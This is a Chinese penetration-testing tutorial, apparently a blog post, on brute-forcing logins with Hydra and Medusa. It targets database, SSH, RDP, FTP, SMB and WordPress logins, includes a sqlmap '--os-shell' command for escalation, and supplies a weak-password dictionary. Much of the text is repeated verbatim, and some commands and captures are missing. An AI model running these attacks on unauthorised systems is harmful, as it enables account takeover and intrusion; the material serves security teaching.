[滲透測試] Hydra暴力破解
暴力破解也被稱為列舉測試、窮舉法測試,是一種針對密碼破譯的方法,即:將密碼逐個比較,直到找出真正的密碼為止。
一、C/S架構破解
C/S架構即大家熟知的客戶端和伺服器架構,這裡以SQL Server與MySQL資料庫為例。
資料庫一般會提供一個預設的帳戶,SQL Server的sa使用者,MySQL的root使用者,Oracle的System使用者等。
1.1 SQL Server
首先用Nmap掃描到某個系統開放了1433埠。
使用Hydra軟體破解:hydra.exe -l sa -P c:\pass.txt 192.168.1.110 mssql
成功後會列印類似如下的資訊:[1433][mssql] host:192.168.1.110 login:sa password:pwd@123
其他Hydra破解示例:
(1)破解MySQL密碼
hydra.exe -L c:\user.txt -P c:\pass.txt 192.168.1.110 mysql
使用-L指定使用者名稱檔案,-P指定密碼檔案
(2)破解FTP密碼
hydra.exe -l admin -P c:\pass.txt -t 5 192.168.1.110 ftp
使用-l指定使用者名稱,-t指定執行緒
(3)破解ssh
hydra.exe -L users.txt -P password.txt -e n -t 5 -vV 192.168.1.110 ssh
使用“-e n”對空密碼探測
(4)破解rdp
hydra.exe -l administrator -P c:\pass.txt www.xxser.com rdp -V
破解www.xxser.com的rdp服務,即遠端桌面協議
(5)破解 pop3
hydra.exe -l root -P pass.txt my.pop3.mail pop3
攻擊者一旦得到資料庫密碼,一般會做兩件事情,一是“拖庫”,二是“提權”。
上面破解密碼為“pwd@123”之後,可以利用sqlmap進一步來反彈一個與系統互動的Shell用來提權。命令為:
1.2 MySQL
使用Hydra破解Mysql如下:
Hydra.exe -L root -P pass.txt 192.168.1.110 mysql
另一種破解工具:Medusa
medusa -h 192.168.195.129 -u root -P /pass.txt -M mysql
Medusa其他的破解示例如下:
(1)破解smbnt
medusa -h www.secbug.org -u administrator -P /pass.txt -e ns -M smbnt
使用“-h”引數對主機www.secbug.org破解smbnt服務,並使用“-e ns”引數,嘗試空密碼及賬號為密碼。
(2)破解MSSQL
medusa -h 192.168.1.110 -u sa -P /pass.txt -t 5 -f -M mssql
使用“-t”引數指定執行緒,“-f”指定在任何主機上找到第1個賬號/密碼後,停止審計。
(3)使用“-C”引數破解smbnt
medusa -M smbnt -C combo.txt
combo檔案的格式如下:
192.168.0.20:testuser:pass
192.168.0.40:user1:foopass
(4)破解SSH
medusa -M ssh -H host.txt -U user.txt -p password
使用“-U”引數讀取使用者名稱字典檔案users.txt
(5)日誌檔案
medusa -h 192.168.1.110 -u sa -P /pass.txt -t 5 -f -e ns -M mssql -O /ap.txt
二、B/S架構破解
以WordPress為例,介紹如何暴力破解B/S架構的Web Form
WordPress功能雖然很強大,但是在後臺登入時卻沒有驗證碼,這讓攻擊者有機可乘。
WordPress很容易獲取到使用者名稱,這樣的話就可以用工具進行進一步的web表單破解。在破解表單時,需要尋找一個標誌位,也就是登入成功與失敗的區別點。
一、C/S架構破解
C/S架構即大家熟知的客戶端和伺服器架構,這裡以SQL Server與MySQL資料庫為例。
資料庫一般會提供一個預設的帳戶,SQL Server的sa使用者,MySQL的root使用者,Oracle的System使用者等。
1.1 SQL Server
首先用Nmap掃描到某個系統開放了1433埠。
使用Hydra軟體破解:hydra.exe -l sa -P c:\pass.txt 192.168.1.110 mssql
成功後會列印類似如下的資訊:[1433][mssql] host:192.168.1.110 login:sa password:pwd@123
其他Hydra破解示例:
(1)破解MySQL密碼
hydra.exe -L c:\user.txt -P c:\pass.txt 192.168.1.110 mysql
使用-L指定使用者名稱檔案,-P指定密碼檔案
(2)破解FTP密碼
hydra.exe -l admin -P c:\pass.txt -t 5 192.168.1.110 ftp
使用-l指定使用者名稱,-t指定執行緒
(3)破解ssh
hydra.exe -L users.txt -P password.txt -e n -t 5 -vV 192.168.1.110 ssh
使用“-e n”對空密碼探測
(4)破解rdp
hydra.exe -l administrator -P c:\pass.txt www.xxser.com rdp -V
破解www.xxser.com的rdp服務,即遠端桌面協議
(5)破解 pop3
hydra.exe -l root -P pass.txt my.pop3.mail pop3
攻擊者一旦得到資料庫密碼,一般會做兩件事情,一是“拖庫”,二是“提權”。
上面破解密碼為“pwd@123”之後,可以利用sqlmap進一步來反彈一個與系統互動的Shell用來提權。命令為:
sqlmap.py -d "mssql://sa:pwd@123@192.168.1.110:1433/master" --os-shell
攻擊者在進行暴力破解時,針對單一目標主機破解的概率較小,更多的是對多臺伺服器同時破解。
1.2 MySQL
使用Hydra破解Mysql如下:
Hydra.exe -L root -P pass.txt 192.168.1.110 mysql
另一種破解工具:Medusa
medusa -h 192.168.195.129 -u root -P /pass.txt -M mysql
Medusa其他的破解示例如下:
(1)破解smbnt
medusa -h www.secbug.org -u administrator -P /pass.txt -e ns -M smbnt
使用“-h”引數對主機www.secbug.org破解smbnt服務,並使用“-e ns”引數,嘗試空密碼及賬號為密碼。
(2)破解MSSQL
medusa -h 192.168.1.110 -u sa -P /pass.txt -t 5 -f -M mssql
使用“-t”引數指定執行緒,“-f”指定在任何主機上找到第1個賬號/密碼後,停止審計。
(3)使用“-C”引數破解smbnt
medusa -M smbnt -C combo.txt
combo檔案的格式如下:
192.168.0.20:testuser:pass
192.168.0.40:user1:foopass
(4)破解SSH
medusa -M ssh -H host.txt -U user.txt -p password
使用“-U”引數讀取使用者名稱字典檔案users.txt
(5)日誌檔案
medusa -h 192.168.1.110 -u sa -P /pass.txt -t 5 -f -e ns -M mssql -O /ap.txt
二、B/S架構破解
以WordPress為例,介紹如何暴力破解B/S架構的Web Form
WordPress功能雖然很強大,但是在後臺登入時卻沒有驗證碼,這讓攻擊者有機可乘。
WordPress很容易獲取到使用者名稱,這樣的話就可以用工具進行進一步的web表單破解。在破解表單時,需要尋找一個標誌位,也就是登入成功與失敗的區別點。
利用hydra的例子如下
首先抓包觀察登入失敗的資料包
再抓取成功登入的資料包
利用hydra進行暴力破解
在攻擊的過程中,失敗的資料包如下:
在攻擊過程中,成功的資料包為
三、暴力破解案例
3.1 攻擊OA系統
蒐集使用者名稱是重點。蒐集的方式有:1通過郵箱蒐集;2通過錯誤提示蒐集。
蒐集完使用者名稱之後,攻擊者就可以對密碼進行暴力破解了,攻擊者的密碼字典一般都會採取100~300個數量的高命中率弱口令,如果在這些弱口令密碼中破解不成功,那麼密碼就可能較複雜,破解的效率就會大大降低。
3.2 破解驗證碼
暴力破解驗證碼經常出現在密碼找回、修改密碼、交易支付等操作。
當驗證碼僅有四位,並且在一個相對較長的時間內有效時,可以通過遍歷驗證碼的方法進行破解。
密碼的複雜性;驗證碼措施;登入日誌(限制登入次數)
弱口令:
123456789
a123456
123456
a123456789
1234567890
woaini1314
qq123456
abc123456
123456a
123456789a
147258369
zxcvbnm
987654321
12345678910
abc123
qq123456789
123456789.
7708801314520
woaini
5201314520
q123456
123456abc
1233211234567
123123123
123456.
0123456789
asd123456
aa123456
135792468
q123456789
abcd123456
12345678900
woaini520
woaini123
zxcvbnm123
1111111111111111
w123456
aini1314
abc123456789
111111
woaini521
qwertyuiop
1314520520
1234567891
qwe123456
asd123
000000
1472583690
1357924680
789456123
123456789abc
z123456
1234567899
aaa123456
abcd1234
www123456
123456789q
123abc
qwe123
w123456789
7894561230
123456qq
zxc123456
123456789qq
1111111111
111111111
0000000000000000
1234567891234567
qazwsxedc
qwerty
123456..
zxc123
asdfghjkl
0000000000
1234554321
123456q
123456aa
9876543210
110120119
qaz123456
qq5201314
123698745
5201314
000000000
as123456
123123
5841314520
z123456789
52013145201314
a123123
caonima
a5201314
wang123456
abcd123
123456789..
woaini1314520
123456asd
aa123456789
741852963
a12345678
123456
a123456
123456a
5201314
111111
woaini1314
qq123456
123123
000000
1qaz2wsx
1q2w3e4r
qwe123
7758521
123qwe
a123123
123456aa
woaini520
woaini
100200
1314520
woaini123
123321
q123456
123456789
123456789a
5211314
asd123
a123456789
z123456
asd123456
a5201314
aa123456
zhang123
aptx4869
123123a
1q2w3e4r5t
1qazxsw2
5201314a
1q2w3e
aini1314
31415926
q1w2e3r4
123456qq
woaini521
1234qwer
a111111
520520
iloveyou
abc123
110110
111111a
123456abc
w123456
7758258
123qweasd
159753
qwer1234
a000000
qq123123
zxc123
123654
abc123456
123456q
qq5201314
12345678
000000a
456852
as123456
1314521
112233
521521
qazwsx123
zxc123456
abcd1234
asdasd
666666
love1314
QAZ123
aaa123
q1w2e3
aaaaaa
a123321
123000
11111111
12qwaszx
5845201314
s123456
nihao123
caonima123
zxcvbnm123
wang123
159357
1A2B3C4D
asdasd123
584520
753951
147258
1123581321
110120
qq1314520
hydra的幫助資訊
wangpeng@ubuntu:~$ hydra -h
Hydra v7.5 (c)2013 by van Hauser/THC & David Maciejak - for legal purposes only
Syntax: hydra [[[-l LOGIN|-L FILE] [-p PASS|-P FILE]] | [-C FILE]] [-e nsr] [-o FILE] [-t TASKS] [-M FILE [-T TASKS]] [-w TIME] [-W TIME] [-f] [-s PORT] [-x MIN:MAX:CHARSET] [-SuvV46] [service://server[:PORT][/OPT]]
Options:
-R restore a previous aborted/crashed session
-S perform an SSL connect
-s PORT if the service is on a different default port, define it here
-l LOGIN or -L FILE login with LOGIN name, or load several logins from FILE
-p PASS or -P FILE try password PASS, or load several passwords from FILE
-x MIN:MAX:CHARSET password bruteforce generation, type "-x -h" to get help
-e nsr try "n" null password, "s" login as pass and/or "r" reversed login
-u loop around users, not passwords (effective! implied with -x)
-C FILE colon separated "login:pass" format, instead of -L/-P options
-M FILE list of servers to be attacked in parallel, one entry per line
-o FILE write found login/password pairs to FILE instead of stdout
-f / -F exit when a login/pass pair is found (-M: -f per host, -F global)
-t TASKS run TASKS number of connects in parallel (per host, default: 16)
-w / -W TIME waittime for responses (32s) / between connects per thread
-4 / -6 prefer IPv4 (default) or IPv6 addresses
-v / -V / -d verbose mode / show login+pass for each attempt / debug mode
-U service module usage details
server the target server (use either this OR the -M option)
service the service to crack (see below for supported protocols)
OPT some service modules support additional input (-U for module help)
Supported services: asterisk cisco cisco-enable cvs firebird ftp ftps http[s]-{head|get} http[s]-{get|post}-form http-proxy http-proxy-urlenum icq imap[s] irc ldap2[s] ldap3[-{cram|digest}md5][s] mssql mysql nntp oracle-listener oracle-sid pcanywhere pcnfs pop3[s] postgres rdp rexec rlogin rsh sip smb smtp[s] smtp-enum snmp socks5 ssh sshkey svn teamspeak telnet[s] vmauthd vnc xmpp
Hydra is a tool to guess/crack valid login/password pairs - usage only allowed
for legal purposes. This tool is licensed under AGPL v3.0.
The newest version is always available at http://www.thc.org/thc-hydra
These services were not compiled in: sapr3 afp ncp oracle.
Use HYDRA_PROXY_HTTP/HYDRA_PROXY and HYDRA_PROXY_AUTH environment for a proxy.
E.g.: % export HTTP_PROXY=socks5://127.0.0.1:9150 (or socks4:// or connect://)
% export HTTP_PROXY_HTTP=http://proxy:8080
% export HTTP_PROXY_AUTH=user:pass
Examples:
hydra -l user -P passlist.txt ftp://192.168.0.1
hydra -L userlist.txt -p defaultpw imap://192.168.0.1/PLAIN
hydra -C defaults.txt -6 pop3s://[fe80::2c:31ff:fe12:ac11]:143/TLS:DIGEST-MD5
相關文章
- 滲透測試會用到哪些工具?滲透測試教程
- Linux滲透測試Linux
- Metasploit滲透測試指南
- 滲透測試-資訊收集
- 滲透測試報告測試報告
- 【滲透測試】Vulnhub DarkHole
- 網路安全滲透測試的型別!滲透測試入門教程型別
- 滲透測試什麼?滲透測試具體操作流程是什麼
- Android滲透測試Android滲透測試入門教程大學霸Android
- metasploit滲透測試筆記(內網滲透篇)筆記內網
- 什麼是滲透測試?網站有必要進行滲透測試嗎?網站
- 滲透測試技巧總結
- 物理滲透測試基礎
- beescms網站滲透測試網站
- GraphQL滲透測試詳解
- FLUXION參考滲透測試UX
- 網路安全滲透測試
- kali滲透測試工具方法
- [原創]滲透測試工具
- Web 端滲透測試初探Web
- 【滲透測試】Vulnhub Hackable II
- [雪峰磁針石部落格]滲透測試簡介1滲透測試簡介
- 安全測試和滲透測試的區別
- 搭建滲透測試環境選自KaliLinux無線網路滲透測試教程Linux
- 內網滲透測試基礎內網
- 滲透測試入門實戰
- 滲透測試學習記錄
- 滲透測試(PenTest)基礎指南
- 網站安全測試之APP滲透測試漏洞網站APP
- 什麼是網路滲透測試?網路滲透測試分為幾種型別?型別
- 網站滲透測試安全檢測漏洞網站
- 網站滲透測試安全檢測方案網站
- Burpsuite 滲透測試工具使用UI
- linux滲透測試技巧2則Linux
- 滲透測試——提權方式總結
- 《Web滲透測試技術》簡介Web
- 記學習滲透測試之列舉
- 滲透測試系統kali配置源